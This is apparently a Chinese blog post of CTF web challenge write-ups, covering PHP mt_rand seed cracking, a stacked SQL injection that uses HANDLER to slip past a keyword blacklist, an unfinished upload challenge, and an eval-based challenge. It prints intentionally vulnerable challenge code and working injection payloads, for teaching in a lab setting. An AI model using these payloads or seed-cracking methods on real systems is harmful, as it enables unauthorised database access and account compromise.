BUU CTF Learn 4

/ 0评 / 0

[GWCTF 2019]枯燥的抽奖

考点:
伪随机数
解题:

给了一个随机数
我们了解知识后,知道这其实是伪随机数:就是种子如果不变,在相同的php版本下随机数不变。
在源码中发现check.php
进入发现源码
 

><?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "$str_show"
if(isset($_POST['num'])){
    if($_POST['num']===$str){
        echo "抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}";
    else{ echo "没抽中哦,再试试吧";
    }
} show_source("check.php");

明白算法后使用php_mt_seed工具爆破种子

<?php
$str = "BJkN7jnUov";
$randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
for($i=0;$i<strlen($str);$i++){
   $pos = strpos($randStr,$str[$i]);
   echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
}
echo "\n";


算出种子是php7.1版本的,赋值算出20位

<?php
    mt_srand(220311331);
    $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";//62
    $auth='';
    $len=20;
    for ( $i = 0; $i < $len; $i++ ){
        $auth.=substr($str_rand, mt_rand(0, strlen($str_rand) - 1), 1);
    }
    echo $auth;

提交可以获得flag
本题与MRCTF的Ezaudit相同
 

[GYCTF2020]Blacklist

这题是强网杯的随便注改的
经过测试以后ban掉了强网杯的rename函数
1';show columns from FlagHere;
发现flag在flag表中

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

之前在群里和大佬们交流,发现了代替select还有一个handler函数,查了一下用法
语法结构:

HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE

如:通过handler语句查询users表的内容、

handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄

参考:对MYSQL注入相关内容及部分Trick的归类小结
这个文章特别详细,可以整体学习
所以我们本题用handler查询一下
1';handler FlagHere open; handler FlagHere read first;

 
漏洞成因:

 

[强网杯 2019]Upload


打开后是一个登录页面,注册后登陆
是一个上传头像页面

上传任何php文件都不可以,尝试了各种姿势无果后放弃
扫目录后发现源码泄露www.tar.gz 发现有24M的源码。
吓死了
先放一放(审计源码未来看,本题放一下)
 

[SUCTF 2019]EasyWeb

打开即源码

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!!
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^");
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^");
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}
 $hhh = @$_GET['_'];
if (!$hhh){
    highlight_file(__FILE__);
}
if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);

审计后发现过滤了了含有ph的文件以及文件内容中不能含有'<?',且上传文件类型需要image

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注